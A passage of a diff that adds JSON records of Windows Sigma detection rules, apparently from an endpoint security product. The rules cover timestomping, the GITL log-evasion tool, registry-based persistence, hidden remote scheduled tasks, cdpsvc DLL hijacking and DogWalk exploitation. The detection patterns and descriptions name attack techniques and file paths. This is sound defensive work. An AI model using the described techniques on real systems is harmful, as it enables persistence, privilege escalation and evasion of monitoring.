windows\ndetection:\n    selection:\n        PowershellCommand|contains:\n        # Win32 APIs\n        - 'SetFileTime'\n        - 'SetFileInformationByHandle'\n        - 'NtSetInformationFile'\n\n        # PowerShell + .NET APIs\n        - '.LastWriteTime='\n        - '.LastWriteTime ='\n        - 'SetLastAccessTime'\n        - 'SetLastWriteTime'\n\n    exclusion_signed:\n        Signed: 'true'\n\n    exclusion_programfiles:\n        PowershellScriptPath|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_fp:\n        PowershellCommand|contains:\n            - '([System.IO.FileInfo]$FilePath).LastWriteTime = [datetime]$UriLastModified'\n            - '(Get-ChildItem -LiteralPath $path).LastWriteTime = Get-Date'\n\n    # C:\\Program Files\\WindowsPowerShell\\Modules\\Posh-SSH\\3.0.1\\Posh-SSH.psm1\n    exclusion_posh:\n        PowershellCommand|contains:\n            - 'if (Test-SFTPPath -SFTPSession $session -Path $Path)'\n            - '$currentAttrib.LastWriteTime = $LastWriteTime'\n            - '# .ExternalHelp Posh-SSH.psm1-Help.xml'\n            - 'function New-SFTPSymlink'\n\n    # https://github.com/romero126/PS1C/blob/master/example_provider.cs\n    exclusion_ps1c:\n        PowershellCommand|contains|all:\n            - 'function PSSetFileMetadata'\n            - '$item = Microsoft.PowerShell.Management\\get-item $metaDataFilePath -ea SilentlyContinue -Force'\n            - 'if ($metaDataToSet[?LastWriteTimeUtc?])'\n            - '$item.LastWriteTimeUtc = $metaDataToSet[?LastWriteTimeUtc?]'\n\n    exclusion_eagetmail:\n        PowershellCommand|contains|all:\n            - 'Get-ChildItem $installPath -Include EAGetMail*.dll, EAGetMail*.winmd -recurse'\n            - 'New-Item -Path $timeToInstall -ItemType file -Force -ErrorAction Ignore > $null'\n            - 'If(Test-Path $timeToInstall -PathType Leaf){'\n\n    exclusion_senseir1:\n        ProcessParentImage: '?:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseIR.exe'\n        PowershellScriptPath: '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\DataCollection\\\\*.ps1'\n\n    exclusion_altiris:\n        ProcessGrandparentImage: '?:\\Program Files\\Altiris\\Altiris Agent\\AeXNSAgent.exe'\n\n    exclusion_defender:\n        - ProcessGrandparentImage: '?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n        - PowershellScriptPath: '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\DataCollection\\\\*\\\\*.ps1'\n\n    exclusion_lgpn:\n        ProcessCommandLine|startswith: 'powershell.exe -command import-module lgpn;'\n\n    exclusion_novell:\n        ProcessGrandparentImage: '?:\\Program Files (x86)\\Novell\\ZENworks\\bin\\handlers\\runscriptenf.exe'\n\n    exclusion_perl:\n        ProcessParentImage: '?:\\WINAPP64\\Perl64\\bin\\perl.exe'\n\n    exclusion_schedule:\n        - ProcessParentImage:\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n            - '?:\\Windows\\System32\\taskeng.exe'\n        - ProcessGrandparentImage:\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n            - '?:\\Windows\\System32\\taskeng.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "90ca0fdc-affa-4d5e-a5f1-ce8a843ed720",
+  "rule_name": "Possible Timestomp via PowerShell",
+  "rule_description": "Detects an attempt at timestomping via PowerShell.\nTimestomping consists in changing the modify file time attributes to hide changes to existing files.\nIt is recommended to investigate the PowerShell script that performed the timestomp to look for other potential malicious actions.\n",
+  "rule_creation_date": "2022-01-25",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "910bcf36-de58-4e15-a006-15c66e7cab0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084141Z",
+  "creation_date": "2026-03-23T11:45:34.084143Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084148Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/bats3c/Ghost-In-The-Logs",
+    "https://attack.mitre.org/techniques/T1562/002/"
+  ],
+  "name": "t1562_002_launch_gitl.yml",
+  "content": "title: Ghost In The Logs (GITL) HackTool Executed\nid: 910bcf36-de58-4e15-a006-15c66e7cab0b\ndescription: |\n    Detects the execution of Ghost In The Logs (GITL), a security evasion toolkit.\n    GITL is a malicious tool specifically designed to bypass security monitoring by manipulating Sysmon configurations and Windows Event Logging. Attackers use it to hide their activities and maintain stealth during operations.\n    It is recommended to investigate for signs of logging disruption, suspicious process creations, and verify the integrity of your logs.\nreferences:\n    - https://github.com/bats3c/Ghost-In-The-Logs\n    - https://attack.mitre.org/techniques/T1562/002/\ndate: 2021/04/08\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.GITL\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\gitl.exe'\n        - OriginalFileName: 'gitl.exe'\n    selection_cmd:\n        - CommandLine|contains:\n            - ' enable'\n            - ' disable'\n            - ' load'\n            - ' clean'\n            - ' status'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "910bcf36-de58-4e15-a006-15c66e7cab0b",
+  "rule_name": "Ghost In The Logs (GITL) HackTool Executed",
+  "rule_description": "Detects the execution of Ghost In The Logs (GITL), a security evasion toolkit.\nGITL is a malicious tool specifically designed to bypass security monitoring by manipulating Sysmon configurations and Windows Event Logging. Attackers use it to hide their activities and maintain stealth during operations.\nIt is recommended to investigate for signs of logging disruption, suspicious process creations, and verify the integrity of your logs.\n",
+  "rule_creation_date": "2021-04-08",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "910f6712-e34f-40b2-8fa7-0c1a7e4ca68f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072359Z",
+  "creation_date": "2026-03-23T11:45:34.072361Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072366Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://persistence-info.github.io/Data/htmlhelpauthor.html",
+    "https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/",
+    "https://attack.mitre.org/techniques/T1546/"
+  ],
+  "name": "t1546_persistence_html_help_author.yml",
+  "content": "title: Possible HtmlHelp Author CHM Persistence Added\nid: 910f6712-e34f-40b2-8fa7-0c1a7e4ca68f\ndescription: |\n    Detects the edition of the HtmlHelp Author registry key.\n    This method is used as a means to achieve persistence by putting a malicious DLL as a .chm helper. The DLL is loaded when a .chm file is opened.\n    It is recommended to create a File Acquisition job to download the DLL and analyze it for malicious behavior.\nreferences:\n    - https://persistence-info.github.io/Data/htmlhelpauthor.html\n    - https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/\n    - https://attack.mitre.org/techniques/T1546/\ndate: 2022/07/20\nmodified: 2025/02/12\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKU\\\\*\\Software\\Microsoft\\HtmlHelp Author\\Location'\n\n    is_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    condition: selection and not is_empty\nlevel: medium\n#level: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "910f6712-e34f-40b2-8fa7-0c1a7e4ca68f",
+  "rule_name": "Possible HtmlHelp Author CHM Persistence Added",
+  "rule_description": "Detects the edition of the HtmlHelp Author registry key.\nThis method is used as a means to achieve persistence by putting a malicious DLL as a .chm helper. The DLL is loaded when a .chm file is opened.\nIt is recommended to create a File Acquisition job to download the DLL and analyze it for malicious behavior.\n",
+  "rule_creation_date": "2022-07-20",
+  "rule_modified_date": "2025-02-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "911369b2-1f0e-4f72-bccf-22e1cf3fb1e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626921Z",
+  "creation_date": "2026-03-23T11:45:34.626923Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626927Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cybertriage.com/blog/windows-scheduled-tasks-for-dfir-investigations/",
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_suspicious_scheduled_task_params.yml",
+  "content": "title: Suspiciously Named Hidden Scheduled Task Created Remotely\nid: 911369b2-1f0e-4f72-bccf-22e1cf3fb1e2\ndescription: |\n    Detects the creation or update of a scheduled task commonly associated with hacking tools such as NetExec.\n    Threat actors may choose to execute their code by creating scheduled tasks on remote systems as a way to create persistence, escalate privileges and evade defenses.\n    It is recommended to click the \"Task Information\" button and investigate the contents of the scheduled task thoroughly to determine maliciousness, as well as to investigate any surrounding activity.\nreferences:\n    - https://www.cybertriage.com/blog/windows-scheduled-tasks-for-dfir-investigations/\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2025/11/20\nmodified: 2026/02/09\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - classification.Windows.Source.ScheduledTask\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: scheduled_task\ndetection:\n    selection:\n        OperationType:\n            - 'create'\n            - 'update'\n\n        IsRemote: 'true'\n        SessionLogonType: 3\n        TaskHidden: 'true'\n        TaskName:\n            - '\\\\?'\n            - '\\\\??'\n            - '\\\\???'\n            - '\\\\????'\n            - '\\\\?????'\n            - '\\\\??????'\n            - '\\\\???????'\n            - '\\\\????????'\n            - '\\\\?????????'\n            - '\\\\??????????'\n            - '\\\\???????????'\n            - '\\\\????????????'\n            - '\\\\?????????????'\n            - '\\\\??????????????'\n            - '\\\\???????????????'\n            - '\\\\????????????????'\n\n    exclusion_ccleaner:\n        TaskName: '\\CCleaner Update'\n        FirstActionCommandLine:\n            - '?:\\Program Files\\CCleaner\\CCUpdate.exe'\n            - '?:\\Program Files\\CCleaner\\CCUpdate.exe '\n            - '?:\\CCUpdate.exe'\n            - '?:\\CCUpdate.exe '\n\n    exclusion_amdlink_update:\n        TaskName: '\\AMDLinkUpdate'\n        FirstActionCommandLine: '?:\\Program Files\\AMD\\CIM\\Bin64\\InstallManagerApp.exe -AMDLinkUpdate'\n\n    exclusion_audittool:\n        TaskName: '\\audittool??'\n        FirstActionCommandLine|endswith: '\\audit_tool_x64.exe '\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "911369b2-1f0e-4f72-bccf-22e1cf3fb1e2",
+  "rule_name": "Suspiciously Named Hidden Scheduled Task Created Remotely",
+  "rule_description": "Detects the creation or update of a scheduled task commonly associated with hacking tools such as NetExec.\nThreat actors may choose to execute their code by creating scheduled tasks on remote systems as a way to create persistence, escalate privileges and evade defenses.\nIt is recommended to click the \"Task Information\" button and investigate the contents of the scheduled task thoroughly to determine maliciousness, as well as to investigate any surrounding activity.\n",
+  "rule_creation_date": "2025-11-20",
+  "rule_modified_date": "2026-02-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "913fc831-7436-4351-96d1-a753786a73e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080742Z",
+  "creation_date": "2026-03-23T11:45:34.080744Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080748Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cyberark.com/resources/threat-research-blog/persistence-techniques-that-persist",
+    "https://persistence-info.github.io/Data/bootverificationprogram.html",
+    "https://attack.mitre.org/techniques/T1547/001/"
+  ],
+  "name": "t1547_001_bootverificationprogram_persistence.yml",
+  "content": "title: Persistence via Boot Verification Program Added\nid: 913fc831-7436-4351-96d1-a753786a73e6\ndescription: |\n    Detects when a new boot verification program is added using the registry.\n    Microsoft allows users to define a custom boot verification program by creating a specific registry key.\n    The Service Control Manager (\"services.exe\") will execute the boot verification program at each boot.\n    It is recommended to investigate the process that modified the registry and the value details for suspicious activities.\nreferences:\n    - https://www.cyberark.com/resources/threat-research-blog/persistence-techniques-that-persist\n    - https://persistence-info.github.io/Data/bootverificationprogram.html\n    - https://attack.mitre.org/techniques/T1547/001/\ndate: 2024/11/12\nmodified: 2025/08/20\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Control\\BootVerificationProgram\\ImagePath'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "913fc831-7436-4351-96d1-a753786a73e6",
+  "rule_name": "Persistence via Boot Verification Program Added",
+  "rule_description": "Detects when a new boot verification program is added using the registry.\nMicrosoft allows users to define a custom boot verification program by creating a specific registry key.\nThe Service Control Manager (\"services.exe\") will execute the boot verification program at each boot.\nIt is recommended to investigate the process that modified the registry and the value details for suspicious activities.\n",
+  "rule_creation_date": "2024-11-12",
+  "rule_modified_date": "2025-08-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9146b63f-6436-4d09-a566-f5662dbf44bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.099191Z",
+  "creation_date": "2026-03-23T11:45:34.099193Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.099197Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://itm4n.github.io/cdpsvc-dll-hijacking/",
+    "https://github.com/sailay1996/CdpSvcLPE",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_cdpsvc.yml",
+  "content": "title: DLL Hijacking via cdpsvc service\nid: 9146b63f-6436-4d09-a566-f5662dbf44bd\ndescription: |\n    Detects a potential Windows DLL search order hijacking via cdpsvc service.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    The cdpsvc service tries to load a non-existing DLL (cdpsgshims.dll) without specifying its absolute path. By putting a malicious DLL with the same name in a writable system path folder, attackers can perform privilege escalation to NT AUTHORITY\\LOCAL SERVICE .\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://itm4n.github.io/cdpsvc-dll-hijacking/\n    - https://github.com/sailay1996/CdpSvcLPE\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/05/27\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'svchost.exe'\n        ProcessSignature: 'Microsoft Windows Publisher'\n        ImageLoaded|endswith: '\\cdpsgshims.dll'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n    condition: selection and not filter_signature_imageloaded\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9146b63f-6436-4d09-a566-f5662dbf44bd",
+  "rule_name": "DLL Hijacking via cdpsvc service",
+  "rule_description": "Detects a potential Windows DLL search order hijacking via cdpsvc service.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nThe cdpsvc service tries to load a non-existing DLL (cdpsgshims.dll) without specifying its absolute path. By putting a malicious DLL with the same name in a writable system path folder, attackers can perform privilege escalation to NT AUTHORITY\\LOCAL SERVICE .\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-05-27",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "915cdabc-0cff-42c9-8234-df956175a16d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084606Z",
+  "creation_date": "2026-03-23T11:45:34.084608Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084612Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd",
+    "https://blog.0patch.com/2022/06/microsoft-diagnostic-tools-dogwalk.html",
+    "https://attack.mitre.org/techniques/T1204/002/",
+    "https://attack.mitre.org/techniques/T1218/",
+    "https://attack.mitre.org/techniques/T1566/"
+  ],
+  "name": "t1204_002_dogwalk_attack.yml",
+  "content": "title: DogWalk Attack Detected\nid: 915cdabc-0cff-42c9-8234-df956175a16d\ndescription: |\n    Detects file creations by the msdt.exe process in a suspicious location which could be a sign of the exploitation of the DogWalk vulnerability.\n    Microsoft Support Diagnostics Tool can trigger a bug related to a path traversal (aka DogWalk) via a crafted .diagcab file.\n    For instance, once a malicious .diagcab file is opened, a new file can be saved under the Startup directory, and will be executed by the operating system at the next host startup.\n    It is recommended to verify the content of the created file to determine legitimacy.\nreferences:\n    - https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd\n    - https://blog.0patch.com/2022/06/microsoft-diagnostic-tools-dogwalk.html\n    - https://attack.mitre.org/techniques/T1204/002/\n    - https://attack.mitre.org/techniques/T1218/\n    - https://attack.mitre.org/techniques/T1566/\ndate: 2024/12/05\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.initial_access\n    - attack.t1566\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Exploit.CVE-2022-34713\n    - classification.Windows.Exploit.DogWalk\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_event\ndetection:\n    selection:\n        Image|endswith: '\\msdt.exe'\n        Kind:\n            - 'create'\n            - 'write'\n        Path:\n            - '?:\\Windows\\SysWOW64\\\\*'\n            - '?:\\Windows\\System32\\\\*'\n            - '?:\\Windows\\Sysvol\\\\*'\n            - '?:\\Users\\Public\\\\*'\n            - '*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\\*'\n            - '*\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\\*'\n            - '*.lnk'\n            - '*\\Documents\\PowerShell\\profile.ps1'\n            - '*\\Documents\\WindowsPowerShell\\profile.ps1'\n            - '*\\System32\\WindowsPowerShell\\v1.0\\profile.ps1'\n            - '*\\Documents\\PowerShell\\\\*_profile.ps1'\n            - '*\\Documents\\WindowsPowerShell\\\\*_profile.ps1'\n            - '*\\System32\\WindowsPowerShell\\v1.0\\\\*_profile.ps1'\n            - '?:\\Windows\\system32\\spool\\PRTPROCS\\\\*'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Word\\Startup\\\\*'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Excel\\XLStart\\\\*'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Addins\\\\*'\n            - '*\\AppData\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM'\n\n    filter_systemprofile:\n        Path|startswith: '?:\\Windows\\System32\\config\\systemprofile\\AppData\\'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "915cdabc-0cff-42c9-8234-df956175a16d",
+  "rule_name": "DogWalk Attack Detected",
+  "rule_description": "Detects file creations by the msdt.exe process in a suspicious location which could be a sign of the exploitation of the DogWalk vulnerability.\nMicrosoft Support Diagnostics Tool can trigger a bug related to a path traversal (aka DogWalk) via a crafted .diagcab file.\nFor instance, once a malicious .diagcab file is opened, a new file can be saved under the Startup directory, and will be executed by the operating system at the next host startup.\nIt is recommended to verify the content of the created file to determine legitimacy.\n",
+  "rule_creation_date": "2024-12-05",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002",
+    "attack.t1218",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9171b532-aeaa-4ef7-a4d3-94ba1796194d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080211Z",
+  "creation_date": "2026-03-23T11:45:34.080213Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080218Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
